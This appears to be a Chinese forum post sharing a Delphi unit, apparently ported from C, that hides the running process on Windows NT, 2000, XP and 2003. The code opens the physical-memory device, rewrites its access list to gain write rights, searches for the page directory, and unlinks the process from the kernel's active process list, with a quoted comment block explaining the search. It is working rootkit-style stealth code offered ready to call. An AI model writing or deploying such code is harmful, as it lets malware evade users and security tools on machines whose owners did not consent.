原本是C的版本,这里贴一个cjt改写的Delphi单元文件:
直接调用HideProcess过程即可
复制内容到剪贴板
代码:
//WIN2000下直接隐藏进程
unit HideProcess;
interface
uses
Windows, aclapi, Accctrl;
function HideProcess: Bool;
implementation
const
STATUS_INFO_LENGTH_MISMATCH = $C0000004;
STATUS_ACCESS_DENIED = $C0000022;
type
ULONG = DWORD;
PULONG = ^ULONG;
USHORT = Word;
// PWSTR = PWideChar;
NTSTATUS = ULONG;
ACCESS_MASK = ULONG;
function AllocMem(Size: Cardinal): Pointer;
begin
GetMem(Result, Size);
FillChar(Result^, Size, 0);
end;
procedure MsgBox(Ti:String);
begin
MessageBox(0,Pchar(Ti),'提示',0);
end;
function NT_SUCCESS(status: integer): Bool;
begin
Result := status >= 0;
end;
type
_SYSTEM_INFORMATION_CLASS =
(
SystemHandleInformation = 16
);
SYSTEM_INFORMATION_CLASS = _SYSTEM_INFORMATION_CLASS;
type
_SYSTEM_HANDLE_INFORMATION = record
ProcessId: ULONG;
ObjectTypeNumber: UCHAR;
Flags: UCHAR;
Handle: USHORT;
_Object: pointer;
GrantedAccess: ACCESS_MASK;
end;
SYSTEM_HANDLE_INFORMATION = _SYSTEM_HANDLE_INFORMATION;
PSYSTEM_HANDLE_INFORMATION = ^_SYSTEM_HANDLE_INFORMATION;
TRTLNTSTATUSTODOSERROR = function(Status: NTSTATUS): ULONG; stdcall;
TZWQUERYSYSTEMINFORMATION = function(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation:
Pointer; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall;
var
RtlNtStatusToDosError: TRTLNTSTATUSTODOSERROR = nil;
ZwQuerySystemInformation: TZWQUERYSYSTEMINFORMATION = nil;
function GetEprocessFromPid(PID: ULONG): DWORD;
var
status: NTSTATUS;
buf: Pointer;
size: ULONG;
NumOfHandle: ULONG;
i: ULONG;
h_info: PSYSTEM_HANDLE_INFORMATION;
begin
Result := 0;
size := 1;
repeat
Buf := AllocMem(size);
if buf = nil then
begin
//MsgBox('GetMemory Error!');
Exit;
end;
status := ZwQuerySystemInformation(SystemHandleInformation, buf, size, nil);
//Form1.Memo1.Lines.Add(Format('$%x',[size]));
//Form1.Memo1.Lines.Add(Format('$%x',[status]));
if not NT_SUCCESS(status) then
begin
if status = STATUS_INFO_LENGTH_MISMATCH then
begin
FreeMemory(Buf);
Buf := nil;
end
else
begin
//MsgBox('ZwQuerySystemInformation failed');
if buf <> nil then
begin
FreeMemory(Buf);
Buf := nil;
end;
Exit;
end;
end
else
Break;
size := size * 2;
until false;
NumOfHandle := PULONG(Buf)^;
//返回到缓冲区的首先是一个ULONG类型的数据,表示有多少数组
// MsgBox(inttohex(NumOfHandle,0));
h_info := PSYSTEM_HANDLE_INFORMATION(pchar(Buf) + 4);
for i := 0 to NumOfHandle - 1 do
begin
if h_info^.ProcessId = PID then
if h_info^.ObjectTypeNumber = 5 then
begin
// MsgBox(Format('Handle:%x,OBJECT:%x', [h_info^.Handle, dword(h_info^._Object)]));
Result := DWORD(h_info^._Object);
Exit;
end;
inc(h_info);
end;
end;
function LocateNtdllEntry(): Bool;
var
// ret: Bool;
NTDLLDLL: Pchar;
ntdll_dll: HMODULE;
begin
Result := False;
NTDLLDLL := 'ntdll.dll';
ntdll_dll := GetModuleHandle(NTDLLDLL);
if ntdll_dll = 0 then
begin
//MsgBox('GetModuleHandle() failed!');
Exit;
end;
try
@ZwQuerySystemInformation := GetProcAddress(ntdll_dll, 'ZwQuerySystemInformation');
except
//MsgBox('GetProcAddress() failed!');
FreeModule(ntdll_dll);
Exit;
end;
Result := True;
end;
//======================================================
type
TNtUnicodeString = packed record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;
PNtUnicodeString = ^TNtUnicodeString;
UNICODE_STRING = TNtUnicodeString;
PUNICODE_STRING = ^UNICODE_STRING;
type _OBJECT_ATTRIBUTES = record
Length: ULONG;
RootDirectory: THandle;
ObjectName: PUNICODE_STRING;
Attributes: ULONG;
SecurityDescriptor: pointer;
SecurityQualityOfService: pointer;
end;
OBJECT_ATTRIBUTES = _OBJECT_ATTRIBUTES;
POBJECT_ATTRIBUTES = ^_OBJECT_ATTRIBUTES;
TZwOpenSection = function(
sectionHandle: PHANDLE;
const DesiredAccess: ACCESS_MASK;
const ObjectAttributes: POBJECT_ATTRIBUTES
): NTSTATUS; stdcall;
TRtlInitUnicodeString = procedure(DestinationString: PUNICODE_String;
SourceString: PWideChar); stdcall;
var
RtlInitUnicodeString: TRtlInitUnicodeString;
ZwOpenSection: TZwOpenSection;
g_hNtDLL: HMODULE = 0;
g_pMapPhysicalMemory: Pointer = nil;
g_hMPM: THandle = 0;
function InitNTDLL(): BOOL;
begin
Result := False;
g_hNtDLL := LoadLibrary('ntdll.dll');
if g_hNtDLL = 0 then Exit;
RtlInitUnicodeString := GetProcAddress(g_hNtDLL, 'RtlInitUnicodeString');
ZwOpenSection := GetProcAddress(g_hNtDLL, 'ZwOpenSection');
Result := True;
end;
procedure CloseNTDLL();
begin
if (g_hNtDLL <> 0) then FreeLibrary(g_hNtDLL);
end;
procedure SetPhyscialMemorySectionCanBeWrited(hSection: THandle);
var
{ pDaclACL;
pNewDaclACL;
pSDPSECURITY_DESCRIPTOR;
dwResWORD;
ea:EXPLICIT_ACCESS;
}
pDacl: PACL;
pNewDacl: PACL;
pSD: PPSECURITY_DESCRIPTOR;
dwRes: Cardinal;
ea: EXPLICIT_ACCESS_A;
begin
pDacl := nil;
pNewDacl := nil;
pSD := nil;
dwres := GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, nil,
nil, @pDacl, nil, pSD);
if dwRes <> ERROR_SUCCESS then
begin
if pSD <> nil then LocalFree(Cardinal(pSD));
if pNewDacl <> nil then LocalFree(Cardinal(pSD));
Exit;
end;
FillChar(ea, SizeOf(EXPLICIT_ACCESS), 0);
ea.grfAccessPermissions := SECTION_MAP_WRITE;
ea.grfAccessMode := GRANT_ACCESS;
ea.grfInheritance := NO_INHERITANCE;
ea.Trustee.TrusteeForm := TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType := TRUSTEE_IS_USER;
ea.Trustee.ptstrName := 'CURRENT_USER';
dwRes := SetEntriesInAcl(1, @ea, pDacl, pNewDacl);
{ if dwRes<>ERROR_SUCCESS then
begin
if pSD<>Nil then LocalFree(Cardinal(pSD));
if pNewDacl<>Nil then LocalFree(Cardinal(pSD));
Exit;
end;
}
dwRes := SetSecurityInfo(hSection,
SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION,
nil, nil, pNewDacl, nil);
if dwRes <> ERROR_SUCCESS then
begin
if pSD <> nil then LocalFree(Cardinal(pSD));
if pNewDacl <> nil then LocalFree(Cardinal(pSD));
Exit;
end;
end;
function OpenPhysicalMemory: THandle;
var
status: NTSTATUS;
physmemString: UNICODE_STRING;
attributes: OBJECT_ATTRIBUTES;
BaseAddress:pointer;
start,CR3:ULONG;
begin
Result := 0;
RtlInitUnicodeString(@physmemString, '\Device\PhysicalMemory');
attributes.Length := sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory := 0;
attributes.ObjectName := @physmemString;
attributes.Attributes := 0;
attributes.SecurityDescriptor := nil;
attributes.SecurityQualityOfService := nil;
status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
if (status = STATUS_ACCESS_DENIED) then
begin
status := ZwOpenSection(@g_hMPM, READ_CONTROL or WRITE_DAC, @attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status := ZwOpenSection(@g_hMPM, SECTION_MAP_READ or SECTION_MAP_WRITE, @attributes);
end;
if not (NT_SUCCESS(status)) then Exit;
(*
对于03年那篇断活动链的补充
信箱里有一大堆邮件是问那时留的“习题”——XP移植问题,想不到现在还有问的。
本来就很简单,而能看懂代码的人做这件事是轻而易举的。但若代码都看不懂,我也不
想提供保姆式的服务。
网上早有了一些实现,不过注意到大多是利用WebCrazy的代码原理进入ring0的,原
先那篇之所以没使用这个方法,因为我在自己机器使用了/3GB开关,WebCrazy的简单线性
地址转换不可行(不通用),故改用LinearToPhys函数。使用这个函数的关键是获知页目
录的一个可用值,这段代码我略去了(否则觉得像“保姆式服务”),而用了2000上多数
时候为页目录的0x30000这个值。现在把未贴的主要代码贴出来,希望不要再问这个问题
了,熟悉的大虾就不要看了。
代码很简单,利用页目录的特性进行暴力搜索,内存中的页目录很多,找到第一个就
好。
ULONG CR3;
for (ULONG start=0x10000; start<0x100000; start+=0x1000)
{
PULONG BaseAddress;
BaseAddress = (PULONG)MapViewOfFile(hSection,
FILE_MAP_READ,
0,
start,
0x1000);
if(!BaseAddress)
{
//error
... ...
}
if ((BaseAddress[0xc00/4]&0xFFFFFE00) == start)
{
CR3 = (ULONG)start;
break;
}
UnmapViewOfFile(BaseAddress);
}
这段代码就找出了页目录的一个可能值。
所谓特性就是页目录的物理地址与其页内对应记录的地址是一致的,很容易看出这种
方法有可能失败:内存中在第一个页目录之前的某一页恰好有这个性质,会使得代码找错
对象,这时需要加上一些判断。不过我记得以前的使用中从来没碰到过,概率很小。
*)
CR3:=0;
start:=$30000;
repeat
BaseAddress:=MapViewOfFile(
g_hMPM,
FILE_MAP_READ,
0,
start,
$1000);
if BaseAddress=nil then Break;
//PGDE=BaseAddress[VAddr];
// PGDE := PULONG(ULONG(BaseAddress) + (VAddr) * sizeof(ULONG))^;
if (PULONG(ULONG(BaseAddress) + ($c00 div 4) * sizeof(ULONG))^) and $FFFFFE00=start then
begin
CR3:=start;
//MsgBox(IntToStr(Cr3));
Break;
end;
start:=start+$10000;
until start>=$100000;
UnmapViewOfFile(BaseAddress);
g_pMapPhysicalMemory := MapViewOfFile(
g_hMPM,
4,
0,
start,//$30000,
$1000);
if (g_pMapPhysicalMemory = nil) then Exit;
Result := g_hMPM;
end;
function LinearToPhys(BaseAddress: PULONG; addr: Pointer): Pointer;
var
VAddr, PGDE, PTE, PAddr, tmp: ULONG;
begin
Result := nil;
VAddr := ULONG(addr);
if (VAddr >= $80000000) and (VAddr < $A0000000) then
begin
PAddr := VAddr - $80000000;
Result := @PAddr;
Exit;
end;
//PGDE=BaseAddress[VAddr>>22];
PGDE := PULONG(ULONG(BaseAddress) + (VAddr shr 22) * sizeof(ULONG))^;
if ((PGDE and 1) <> 0) then
begin
tmp := PGDE and $00000080;
if (tmp <> 0) then
begin
PAddr := (PGDE and $FFC00000) + (VAddr and $003FFFFF);
end
else
begin
PGDE := ULONG(MapViewOfFile(g_hMPM, 4, 0, PGDE and $FFFFF000, $1000));
//疑问 PTE:=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
PTE := PULONG(ULONG(PGDE) + ((VAddr and $003FF000) shr 12) * sizeof(ULONG))^;
if ((PTE and 1) <> 0) then
begin
PAddr := (PTE and $FFFFF000) + (VAddr and $00000FFF);
UnmapViewOfFile(@PGDE);
end
else Exit;
end;
end
else Exit;
Result := @PAddr;
end;
function GetData(addr: Pointer): ULONG;
var
phys: ULONG;
tmp: PULONG;
begin
Result := 0;
phys := PULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory), addr))^;
tmp := PULONG(MapViewOfFile(g_hMPM, 4, 0, phys and $FFFFF000, $1000));
if (tmp = nil) then Exit;
//Result:=tmp[(phys and $FFF) shr 2];
Result := plongword(dword(tmp) + ((phys and $FFF) shr 2) * sizeof(ULONG))^;
UnmapViewOfFile(tmp);
end;
function SetData(addr: Pointer; data: ULONG): Bool;
var
phys: ULONG;
tmp: PULONG;
begin
Result := False;
phys := PULONG(LinearToPhys(PULONG(g_pMapPhysicalMemory), addr))^;
tmp := PULONG(MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys and $FFFFF000, $1000));
if (tmp = nil) then Exit;
//tmp[(phys & 0xFFF)>>2]=data;
plongword(dword(tmp) + ((phys and $FFF) shr 2) * sizeof(ULONG))^ := data;
UnmapViewOfFile(tmp);
Result := TRUE;
end;
function HideProcess: Bool;
var
f, b: integer;
osvi: TOSVersionInfo;
process: ULONG;
fw: ULONG;
bw: ULONG;
begin
Result := False;
if InitNTDLL then
begin
if OpenPhysicalMemory = 0 then Exit;
osvi.dwOSVersionInfoSize := sizeof(osvi);
GetVersionEx(osvi);
if (osvi.dwMajorVersion = 5) then
begin
if (osvi.dwMinorVersion = 0) then //win2k
begin
f := $A0; b := $A4;
end
else if (osvi.dwMinorVersion = 1) then //winxp
begin
f := $88; b := $8C;
end
else if (osvi.dwMinorVersion = 2) then //win2003
begin
f := $8A; b := $8E;
end
else Exit;
end
else if (osvi.dwMajorVersion = 4) and (osvi.dwMinorVersion = 0) and (osvi.dwPlatformId = 2) then //NT
begin
f := $98; b := $9C;
end
else Exit;
// ULONG thread=GetData((PVOID)0xFFDFF124);
// ULONG process=GetData((PVOID)(thread+0x22c));
LocateNtdllEntry();
//打开自身句柄,这样才能在handle列表中找到自己,PROCESS 对应 ObjectTypeNum 为5
OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
process := GetEprocessFromPid(GetCurrentProcessId());
fw := GetData(pointer(process + f));
bw := GetData(pointer(process + b));
SetData(pointer(fw + 4), bw);
SetData(pointer(bw), fw);
UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();
end;
Result := True;
end;
end.